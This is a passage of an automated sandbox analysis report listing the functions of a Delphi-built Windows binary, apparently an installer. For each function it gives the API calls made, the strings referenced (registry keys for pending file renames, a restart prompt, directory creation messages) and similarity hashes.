Part of subcall function 00423038: 73A24620.GDI32(00000000,0000005A,00000000,00000000,00422FD8,004105C0,00000000,?,?,00000000,?,00418F43,00000000), ref: 004230A9
Part of subcall function 00423038: 73A1A480.USER32(00000000,00000000,00000000,0000005A,00000000,00000000,00422FD8,004105C0,00000000,?,?,00000000,?,00418F43,00000000), ref: 004230B4

Part of subcall function 004235FC: LoadIconA.USER32(00400000,MAINICON), ref: 0042368C
Part of subcall function 004235FC: GetModuleFileNameA.KERNEL32(00400000,?,00000100,00400000,MAINICON,?,?,?,00418F56,00000000,?,?,?,00000001), ref: 004236B9
Part of subcall function 004235FC: OemToCharA.USER32(?,?), ref: 004236CC
Part of subcall function 004235FC: CharLowerA.USER32(?,00400000,?,00000100,00400000,MAINICON,?,?,?,00418F56,00000000,?,?,?,00000001), ref: 0042370C

Part of subcall function 0041F088: GetVersion.KERNEL32(?,00418F60,00000000,?,?,?,00000001), ref: 0041F096
Part of subcall function 0041F088: SetErrorMode.KERNEL32(00008000,?,00418F60,00000000,?,?,?,00000001), ref: 0041F0B2
Part of subcall function 0041F088: LoadLibraryA.KERNEL32(CTL3D32.DLL,00008000,?,00418F60,00000000,?,?,?,00000001), ref: 0041F0BE
Part of subcall function 0041F088: SetErrorMode.KERNEL32(00000000,CTL3D32.DLL,00008000,?,00418F60,00000000,?,?,?,00000001), ref: 0041F0CC
Part of subcall function 0041F088: GetProcAddress.KERNEL32(00000001,Ctl3dRegister), ref: 0041F0FC
Part of subcall function 0041F088: GetProcAddress.KERNEL32(00000001,Ctl3dUnregister), ref: 0041F125
Part of subcall function 0041F088: GetProcAddress.KERNEL32(00000001,Ctl3dSubclassCtl), ref: 0041F13A
Part of subcall function 0041F088: GetProcAddress.KERNEL32(00000001,Ctl3dSubclassDlgEx), ref: 0041F14F
Part of subcall function 0041F088: GetProcAddress.KERNEL32(00000001,Ctl3dDlgFramePaint), ref: 0041F164
Part of subcall function 0041F088: GetProcAddress.KERNEL32(00000001,Ctl3dCtlColorEx), ref: 0041F179
Part of subcall function 0041F088: GetProcAddress.KERNEL32(00000001,Ctl3dAutoSubclass), ref: 0041F18E
Part of subcall function 0041F088: GetProcAddress.KERNEL32(00000001,Ctl3dUnAutoSubclass), ref: 0041F1A3
Part of subcall function 0041F088: GetProcAddress.KERNEL32(00000001,Ctl3DColorChange), ref: 0041F1B8
Part of subcall function 0041F088: GetProcAddress.KERNEL32(00000001,BtnWndProc3d), ref: 0041F1CD

Strings

ControlOfs%.8X%.8X, xrefs: 00418EFB
Delphi%.8X, xrefs: 00418EBF

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressProc$AtomCharCurrentErrorGlobalLoadMode$A24620A480A570EnumFileFontsIconLibraryLowerModuleNameProcessThreadVersion
String ID: ControlOfs%.8X%.8X$Delphi%.8X
API String ID: 3864787166-2767913252
Opcode ID: b3f6e413c8898143d790cb1a0652853cd6d9d94ba28684c67143a23da7476cd1
Instruction ID: 92c0f9287c22c5e7546306507112dd287fc16e7faa7ca2eb1c3947f0aa7fa29a
Opcode Fuzzy Hash: b3f6e413c8898143d790cb1a0652853cd6d9d94ba28684c67143a23da7476cd1
Instruction Fuzzy Hash: 511160B06142409AC700FF6AE84274A77E0EBA930DF40853FF548DB2A1DB3D9946CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 004135AC Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

SetWindowLongA.USER32(?,000000FC,?), ref: 004135D4
GetWindowLongA.USER32(?,000000F0), ref: 004135DF
GetWindowLongA.USER32(?,000000F4), ref: 004135F1
SetWindowLongA.USER32(?,000000F4,?), ref: 00413604
SetPropA.USER32(?,00000000,00000000), ref: 0041361B
SetPropA.USER32(?,00000000,00000000), ref: 00413632

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: LongWindow$Prop
String ID:
API String ID: 3887896539-0
Opcode ID: ac9e2524259f19aa4ae75357c34db2059614287f421b72dcfc2803ed6b471743
Instruction ID: 8501a907ea9830ee22782c43eb3b10d12b3a7942569ffdc076e3785703ae90ad
Opcode Fuzzy Hash: ac9e2524259f19aa4ae75357c34db2059614287f421b72dcfc2803ed6b471743
Instruction Fuzzy Hash: 0911FC75200204BFCB00DF99DC84E9A3BE8AB09365F104266B928DB2A1D738EE908B54

Uniqueness

Uniqueness Score: -1.00%

Function 0046DB54 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 263fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(000000FF,?,00000000,0046DD25,?,00000000,?,00000001,00000000,0046DEF3,?,00000000,?,00000000,?,0046E0AE), ref: 0046DD01
FindClose.KERNEL32(000000FF,0046DD2C,0046DD25,?,00000000,?,00000001,00000000,0046DEF3,?,00000000,?,00000000,?,0046E0AE,?), ref: 0046DD1F
FindNextFileA.KERNEL32(000000FF,?,00000000,0046DE47,?,00000000,?,00000001,00000000,0046DEF3,?,00000000,?,00000000,?,0046E0AE), ref: 0046DE23
FindClose.KERNEL32(000000FF,0046DE4E,0046DE47,?,00000000,?,00000001,00000000,0046DEF3,?,00000000,?,00000000,?,0046E0AE,?), ref: 0046DE41

Strings

UF, xrefs: 0046DEE5, 0046DE63, 0046DE8D, 0046DE9B, 0046DEB3, 0046DE7A, 0046DC2D, 0046DCD0, 0046DC68, 0046DC7F, 0046DC8D, 0046DC44, 0046DC4D, 0046DCD3

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Find$CloseFileNext
String ID: UF
API String ID: 2066263336-3088804789
Opcode ID: f2465bc261f959717d47697a8d45f32f7a1ade22301a2265577b1f26eed1a576
Instruction ID: 7787c03929e80ffec34d714e2f8fb83db301553702bc5b4ecfdbbcdcf4a79d9f
Opcode Fuzzy Hash: f2465bc261f959717d47697a8d45f32f7a1ade22301a2265577b1f26eed1a576
Instruction Fuzzy Hash: C2B11B74E0424D9FCF11DFA5C881ADEBBB9BF4C304F5081AAE808A7251D7399A46CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00453E40 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 142registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047DDF7,?,00000001,?,?,0047DDF7,?,00000001,00000000), ref: 0042DC70

RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,00453FD7,?,00000000,00454017), ref: 00453F1D

Strings

PendingFileRenameOperations2, xrefs: 00453EEC
SYSTEM\CurrentControlSet\Control\Session Manager, xrefs: 00453EA0
PendingFileRenameOperations, xrefs: 00453EBC
WININIT.INI, xrefs: 00453F4C

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseOpen
String ID: PendingFileRenameOperations$PendingFileRenameOperations2$SYSTEM\CurrentControlSet\Control\Session Manager$WININIT.INI
API String ID: 47109696-2199428270
Opcode ID: 6a4b91970a201f8e62ec4ce35f438840b63ea26c0fa97f58e3d9b69a11e17943
Instruction ID: 2ff6c49e49fdc546bb7a45c023e4930071e44da3c5b1decde5d7ffad05d461ef
Opcode Fuzzy Hash: 6a4b91970a201f8e62ec4ce35f438840b63ea26c0fa97f58e3d9b69a11e17943
Instruction Fuzzy Hash: BF51C831E041089FDB10DF61DC52ADEF7B9EB84705F60817BF804A72C2DB78AA45CA18

Uniqueness

Uniqueness Score: -1.00%

Function 00463630 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 115windowCOMMON

Download Yara Rule

APIs

SHGetFileInfo.SHELL32(c:\directory,00000010,?,00000160,00001010), ref: 004636CD
ExtractIconA.SHELL32(00400000,00000000,?), ref: 004636F3

Part of subcall function 00463570: DrawIconEx.USER32(00000000,00000000,00000000,00000000,00000020,00000020,00000000,00000000,00000003), ref: 00463608
Part of subcall function 00463570: DestroyCursor.USER32(00000000), ref: 0046361E

SHGetFileInfo.SHELL32(00000000,00000000,?,00000160,00001000), ref: 0046374F
ExtractIconA.SHELL32(00400000,00000000,?), ref: 00463775

Strings

c:\directory, xrefs: 004636C8

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Icon$ExtractFileInfo$CursorDestroyDraw
String ID: c:\directory
API String ID: 2926980410-3984940477
Opcode ID: 6691f682c62b404754f8d66222e799753b1ee5a40e648aa7774ae51fe24a4016
Instruction ID: bae189fc96b8bd3553fc63f17e14eeae1d3b5729288d1f1a5c0b2b9fb69e759c
Opcode Fuzzy Hash: 6691f682c62b404754f8d66222e799753b1ee5a40e648aa7774ae51fe24a4016
Instruction Fuzzy Hash: CB4171B4600244AFD711DF55DC8AFDEBBE8EB48705F1081B6F904D7391E678AE408A59

Uniqueness

Uniqueness Score: -1.00%

Function 00453544 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 102libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,SfcIsFileProtected), ref: 004535F2
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000FFF,00000000,004536B8), ref: 0045365C

Strings

sfc.dll, xrefs: 004535B4
P@!n, xrefs: 004535F7, 00453603, 0045367E
SfcIsFileProtected, xrefs: 004535EC

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressByteCharMultiProcWide
String ID: P@!n$SfcIsFileProtected$sfc.dll
API String ID: 2508298434-664636605
Opcode ID: f0ce954cf5e6c0f92a7d370075d7fcb6cf00d1472f275adf203a8e9d9dbee81d
Instruction ID: be851dfb18f8685af01f62dd8973d7430abba5c381566a94229306a2653f0790
Opcode Fuzzy Hash: f0ce954cf5e6c0f92a7d370075d7fcb6cf00d1472f275adf203a8e9d9dbee81d
Instruction Fuzzy Hash: 33419770A00318ABEB20DF55DC85B9D77B8AB54346F5040BBA808A7393D7789F49CE5C

Uniqueness

Uniqueness Score: -1.00%

Function 0042DC7C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 32registrylibraryloaderCOMMON

Download Yara Rule

APIs

RegDeleteKeyA.ADVAPI32(00000000,?), ref: 0042DC88
GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,?,00000000,0042DE0B,00000000,0042DE23,?,?,?,?,00000006,?,00000000,00491717), ref: 0042DCA3
GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 0042DCA9

Strings

advapi32.dll, xrefs: 0042DC9E
RegDeleteKeyExA, xrefs: 0042DC99

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressDeleteHandleModuleProc
String ID: RegDeleteKeyExA$advapi32.dll
API String ID: 588496660-1846899949
Opcode ID: 4c361a7a43e5834a8a8afc63cfbcc85a9ce817fb11b6eda3160fbad0bd781d86
Instruction ID: 9ef85b4990a5f4fb77651896212c2f73edba4f4f6701b5dd75972328515d435d
Opcode Fuzzy Hash: 4c361a7a43e5834a8a8afc63cfbcc85a9ce817fb11b6eda3160fbad0bd781d86
Instruction Fuzzy Hash: 07E06DF0B45230AAD62067ABBD4AFA327289BA5725F544037B105A619182FC4C41DE5C

Uniqueness

Uniqueness Score: -1.00%

Function 0047D43C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 213COMMON

Download Yara Rule

APIs

SetActiveWindow.USER32(?,?,00000000,0047D751,?,?,00000001,?), ref: 0047D54D
SHChangeNotify.SHELL32(08000000,00000000,00000000,00000000), ref: 0047D5C2

Strings

Need to restart Windows? %s, xrefs: 0047D5FF
, xrefs: 0047D67F

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ActiveChangeNotifyWindow
String ID: $Need to restart Windows? %s
API String ID: 1160245247-4200181552
Opcode ID: d32a6059a512e9bf963a78dfa1268871c9947cd75c38b82ea2162a998853572e
Instruction ID: a8c1ceac0135a07eac7a41659c63538f6f32d9d948fb070117fc44b1a1a01c6f
Opcode Fuzzy Hash: d32a6059a512e9bf963a78dfa1268871c9947cd75c38b82ea2162a998853572e
Instruction Fuzzy Hash: 0E91A074A006449FCB01EF69E885B9E77F4AF49308F1080BBE4049B362D738A945CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0046B3C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 161COMMON

Download Yara Rule

APIs

Part of subcall function 0042C6E0: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C704

GetLastError.KERNEL32(00000000,0046B5BD,?,?,00000001,004950AC), ref: 0046B49A
SHChangeNotify.SHELL32(00000008,00000001,00000000,00000000), ref: 0046B514
SHChangeNotify.SHELL32(00001000,00001001,00000000,00000000), ref: 0046B539

Strings

Creating directory: %s, xrefs: 0046B482

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ChangeNotify$ErrorFullLastNamePath
String ID: Creating directory: %s
API String ID: 2451617938-483064649
Opcode ID: d0889181267df992a591f3ea40977f34f7a5259987c22db0f3b4d7debd1e95ef
Instruction ID: 5f4869df34387351d22434cdd0714d3fe117de94cd68d5563c6cbe2666c0fa91
Opcode Fuzzy Hash: d0889181267df992a591f3ea40977f34f7a5259987c22db0f3b4d7debd1e95ef
Instruction Fuzzy Hash: DD514174E00248ABDB01DFA5C482BDEB7F5EF48308F50856AE851B7382DB785E44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00454178 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 41registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047DDF7,?,00000001,?,?,0047DDF7,?,00000001,00000000), ref: 0042DC70

RegCloseKey.ADVAPI32(?,004541E3,?,00000001,00000000), ref: 004541D6

Strings

SYSTEM\CurrentControlSet\Control\Session Manager, xrefs: 00454184
PendingFileRenameOperations2, xrefs: 004541B7
PendingFileRenameOperations, xrefs: 004541A8

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseOpen
String ID: PendingFileRenameOperations$PendingFileRenameOperations2$SYSTEM\CurrentControlSet\Control\Session Manager
API String ID: 47109696-2115312317
Opcode ID: f34624fdd3cb7fddb242984fec9a2046b392dbdee4337d793cbee412e8c9c1b2
Instruction ID: 8e02acf7dda17f65ef86d3b585dbeec974d4a4341a7776fb0aa38c58d509200f
Opcode Fuzzy Hash: f34624fdd3cb7fddb242984fec9a2046b392dbdee4337d793cbee412e8c9c1b2
Instruction Fuzzy Hash: 2EF0F635208608BFD704D6E2DC06A1B77ECD7C5759FB14467F9009F582DE78AE94921C

Uniqueness

Uniqueness Score: -1.00%

Function 004211E4 Relevance: 6.1, APIs: 4, Instructions: 127windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(00000000), ref: 004212D1
SetMenu.USER32(00000000,00000000), ref: 004212EE
SetMenu.USER32(00000000,00000000), ref: 00421323
SetMenu.USER32(00000000,00000000), ref: 0042133F

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Menu
String ID:
API String ID: 3711407533-0
Opcode ID: 4c00e3b9410a05ce5c81e379d34b9db56685470e430e4bbd06adfeec13cad146
Instruction ID: 48f3a64e559805c9a8555d4ddd453999d2efe8395b615d28906c4a6af38eb170
Opcode Fuzzy Hash: 4c00e3b9410a05ce5c81e379d34b9db56685470e430e4bbd06adfeec13cad146
Instruction Fuzzy Hash: 0141BE307002645BEB20AA7AA88579B37914F65308F4845BFFC44EF3A7CA7CCC4582AD

Uniqueness

Uniqueness Score: -1.00%

Function 00416AB2 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,?,?,?), ref: 00416AF4
SetTextColor.GDI32(?,00000000), ref: 00416B0E
SetBkColor.GDI32(?,00000000), ref: 00416B28
CallWindowProcA.USER32(?,?,?,?,?), ref: 00416B50

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Color$CallMessageProcSendTextWindow
String ID:
API String ID: 601730667-0
Opcode ID: 1d3cbda9518b2ce12e9cd07cc94b211126e19477f7e649d954dcb8d793c07e3f
Instruction ID: c000e8b01db0500dd6874d208778bcf8efa3d9016d5589f965051e8255cd057a
Opcode Fuzzy Hash: 1d3cbda9518b2ce12e9cd07cc94b211126e19477f7e649d954dcb8d793c07e3f
Instruction Fuzzy Hash: 74115EB2604604AFC710EE6ECC84E8777ECEF49710B15886BB55ADB652C638FC418B79

Uniqueness

Uniqueness Score: -1.00%

Function 004239F4 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

EnumWindows.USER32(0042398C), ref: 00423A18
GetWindow.USER32(?,00000003), ref: 00423A2D
GetWindowLongA.USER32(?,000000EC), ref: 00423A3C
SetWindowPos.USER32(00000000,004240CC,00000000,00000000,00000000,00000000,00000013,?,000000EC,?,?,?,0042411B,?,?,00423CE3), ref: 00423A72

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Window$EnumLongWindows
String ID:
API String ID: 4191631535-0
Opcode ID: 8ff7365b5520c72616fb03b6a0c4256d91edd785515c56340625f2feabb98e97
Instruction ID: 5fb1b4c26b7281e556a96b269d9e57b3a313a4882f561b886cf0e087050bba11
Opcode Fuzzy Hash: 8ff7365b5520c72616fb03b6a0c4256d91edd785515c56340625f2feabb98e97
Instruction Fuzzy Hash: 45115A70700610ABDB10EF68DC85F5A77E8EB48725F11026AF9A4AB2E2C37CDC41CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00423038 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

73A1A570.USER32(00000000,?,?,00000000,?,00418F43,00000000,?,?,?,00000001), ref: 0042308E
EnumFontsA.GDI32(00000000,00000000,00422FD8,004105C0,00000000,?,?,00000000,?,00418F43,00000000,?,?,?,00000001), ref: 004230A1
73A24620.GDI32(00000000,0000005A,00000000,00000000,00422FD8,004105C0,00000000,?,?,00000000,?,00418F43,00000000), ref: 004230A9
73A1A480.USER32(00000000,00000000,00000000,0000005A,00000000,00000000,00422FD8,004105C0,00000000,?,?,00000000,?,00418F43,00000000), ref: 004230B4

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: A24620A480A570EnumFonts
String ID:
API String ID: 2630238358-0
Opcode ID: 0130a543140e80f2b9f86b8e83a342749db33d5760528b3305e50fe7c2cc1c24
Instruction ID: 4d68480f6d607538855b0f171b38ffa839f5ce6e0578d669e72114bdc8101102
Opcode Fuzzy Hash: 0130a543140e80f2b9f86b8e83a342749db33d5760528b3305e50fe7c2cc1c24
Instruction Fuzzy Hash: 0601D2616053002AE700BF6A5C82B9B37649F00709F40027BF804AF2C7D6BE9805476E

Uniqueness

Uniqueness Score: -1.00%

Function 004536EC Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

WaitForInputIdle.USER32(00000001,00000032), ref: 00453718
MsgWaitForMultipleObjects.USER32(00000001,00000001,00000000,000000FF,000000FF), ref: 0045373A
GetExitCodeProcess.KERNEL32(00000001,00000001), ref: 00453749
CloseHandle.KERNEL32(00000001,00453776,0045376F,?,00000031,00000080,00000000,?,?,00453AC7,00000080,0000003C,00000000,00453ADD), ref: 00453769

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Wait$CloseCodeExitHandleIdleInputMultipleObjectsProcess
String ID:
API String ID: 4071923889-0
Opcode ID: ddcdf6928b028788f19173831482d9f32cfd0fe6233734d9ccef482c6c221cba
Instruction ID: 9fccd2aefca3528e48b7c7924445ec13d0cbcd302fba8438f8af89f39fd4f237
Opcode Fuzzy Hash: ddcdf6928b028788f19173831482d9f32cfd0fe6233734d9ccef482c6c221cba
Instruction Fuzzy Hash: 6001F9F0E006087EEB209BA58C02F6BBA9CDB0D7A1F504567B904D32C2D6785E008668

Uniqueness

Uniqueness Score: -1.00%

Function 00406284 Relevance: 6.0, APIs: 4, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

GlobalHandle.KERNEL32 ref: 00406287
GlobalUnWire.KERNEL32(00000000), ref: 0040628E
GlobalReAlloc.KERNEL32(00000000,00000000), ref: 00406293
GlobalFix.KERNEL32(00000000), ref: 00406299

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Global$AllocHandleWire
String ID:
API String ID: 2210401237-0
Opcode ID: ccca6f24380267978f803e90f3f817f3fcf2956047d1379c6398f3f6a54b6072
Instruction ID: ad050c8fb554795a0ca7e59246f03ac17dd57b6c6051e6027a9978793207e39e
Opcode Fuzzy Hash: ccca6f24380267978f803e90f3f817f3fcf2956047d1379c6398f3f6a54b6072
Instruction Fuzzy Hash: A0B009C5814A05B9EC0833B24C0BD3F141CD88072C3808A6FB458BA1839C7C9C402A3D

Uniqueness

Uniqueness Score: -1.00%

Function 0045A588 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 0044FE04: SetEndOfFile.KERNEL32(?,?,0045A666,00000000,0045A7F1,?,00000000,00000002,00000002), ref: 0044FE0B

FlushFileBuffers.KERNEL32(?), ref: 0045A7BD

Strings

EndOffset range exceeded, xrefs: 0045A6F1
NumRecs range exceeded, xrefs: 0045A6BA

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: File$BuffersFlush
String ID: EndOffset range exceeded$NumRecs range exceeded
API String ID: 3593489403-659731555
